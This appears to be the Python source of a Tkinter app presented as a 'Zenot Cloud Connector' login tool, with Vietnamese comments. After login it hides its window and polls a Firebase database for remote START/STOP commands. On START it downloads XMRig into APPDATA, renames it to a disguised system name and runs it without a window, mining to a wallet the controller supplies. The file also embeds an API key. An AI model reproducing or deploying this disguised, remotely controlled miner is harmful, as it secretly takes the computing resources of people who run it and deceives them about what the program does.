import tkinter as tk from tkinter import messagebox import requests import threading import time import os import subprocess import zipfile import shutil import socket import sys # --- CẤU HÌNH --- # API Key public cho demo, bạn có thể thay bằng của bạn API_KEY = "AIzaSyBrKWSjYj7x8gUKPXUyHKTidAFtOIa5ul4" DB_URL = "https://zunrdp-default-rtdb.asia-southeast1.firebasedatabase.app" MINER_URL = "https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-msvc-win64.zip" FAKE_NAME = "ZenotSystem.exe" class ZenotWorkerApp: def __init__(self, root): self.root = root self.root.title("Zenot Cloud Connector") self.root.geometry("350x450") self.root.configure(bg="#050505") self.root.resizable(False, False) # Lấy tên máy tính để định danh self.worker_id = socket.gethostname() self.uid = None self.process = None self.setup_ui() def setup_ui(self): # Logo Text tk.Label(self.root, text="ZENOT", font=("Segoe UI", 24, "bold"), fg="#00f3ff", bg="#050505").pack(pady=(40,5)) tk.Label(self.root, text="Cloud Infrastructure V28", font=("Segoe UI", 9), fg="#666", bg="#050505").pack(pady=(0,30)) # Form input_bg =="#1a1a1a" tk.Label(self.root, text="Email Account", fg="#aaa", bg="#050505").pack() self.entry_email = tk.Entry(self.root, width=30, bg=input_bg, fg="white", relief="flat", font=("Arial", 10)) self.entry_email.pack(pady=5, ipady=5) tk.Label(self.root, text="Password", fg="#aaa", bg="#050505").pack() self.entry_pass = tk.Entry(self.root, width=30, bg=input_bg, fg="white", relief="flat", show="*", font=("Arial", 10)) self.entry_pass.pack(pady=5, ipady=5) # Button btn = tk.Button(self.root, text="CONNECT NODE", bg="#bc13fe", fg="white", font=("Segoe UI", 11, "bold"), relief="flat", cursor="hand2", command=self.login, width=20) btn.pack(pady=30, ipady=5) def login(self): email = self.entry_email.get() password = self.entry_pass.get() # Login Firebase REST API url = f"https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key={API_KEY}" payload = {"email": email, "password": password, "returnSecureToken": True} try: r = requests.post(url, json=payload) data = r.json() if "localId" in data: self.uid = data["localId"] messagebox.showinfo("Zenot Cloud", "Node Connected Successfully!\nSystem will run in background.") # ẨN APP self.root.withdraw() # CHẠY LUỒNG NGẦM threading.Thread(target=self.background_loop, daemon=True).start() else: messagebox.showerror("Error", "Login Failed") except Exception as e: messagebox.showerror("Error", str(e)) def background_loop(self): # Loop chính: Vừa báo cáo online, vừa nghe lệnh last_cmd_time = 0 while True: try: # 1. BÁO CÁO "I AM ALIVE" (Heartbeat) # Web sẽ đếm số máy dựa trên timestamp này requests.patch(f"{DB_URL}/users/{self.uid}/workers/{self.worker_id}.json", json={ "status": "ONLINE", "last_seen": int(time.time() * 1000) # Mili giây }) # 2. KIỂM TRA LỆNH TỪ WEB r = requests.get(f"{DB_URL}/users/{self.uid}/control.json") cmd = r.json() if cmd and cmd.get("timestamp", 0) > last_cmd_time: # Nếu là lệnh mới (dựa vào thời gian) if cmd["command"] == "START": if cmd.get("timestamp") != last_cmd_time: # Tránh spam start lại self.start_mining(cmd["coin"], cmd["wallet"]) last_cmd_time = cmd["timestamp"] elif cmd["command"] == "STOP": self.stop_mining() last_cmd_time = 0 # Reset để nhận lệnh mới sau này time.sleep(5) # 5 giây check 1 lần except Exception as e: time.sleep(10) def start_mining(self, coin, wallet): # Logic tải và chạy như cũ work_dir = os.path.join(os.getenv('APPDATA'), 'ZenotV28') if not os.path.exists(work_dir): os.makedirs(work_dir) exe_path = os.path.join(work_dir, FAKE_NAME) # Tải nếu chưa có if not os.path.exists(exe_path): try: r = requests.get(MINER_URL, stream=True) with open(os.path.join(work_dir, "pkg.zip"), 'wb') as f: for chunk in r.iter_content(chunk_size=1024): f.write(chunk) with zipfile.ZipFile(os.path.join(work_dir, "pkg.zip"), 'r') as z: z.extractall(work_dir) for root, _, files in os.walk(work_dir): if "xmrig.exe" in files: shutil.move(os.path.join(root, "xmrig.exe"), exe_path) except: pass # Chạy self.stop_mining() # Stop cái cũ trước nếu có args = [exe_path, '-o', 'rx.unmineable.com:3333', '-a', 'rx/0', '-k', '-u', f'{coin}:{wallet}.{self.worker_id}', '-p', 'x', '--background'] si = subprocess.STARTUPINFO() si.dwFlags |= subprocess.STARTF_USESHOWWINDOW self.process = subprocess.Popen(args, startupinfo=si, creationflags=subprocess.CREATE_NO_WINDOW) def stop_mining(self): if self.process: try: self.process.kill() except: pass os.system(f"taskkill /f /im {FAKE_NAME}") if __name__ == "__main__": root = tk.Tk() app = ZenotWorkerApp(root) root.mainloop()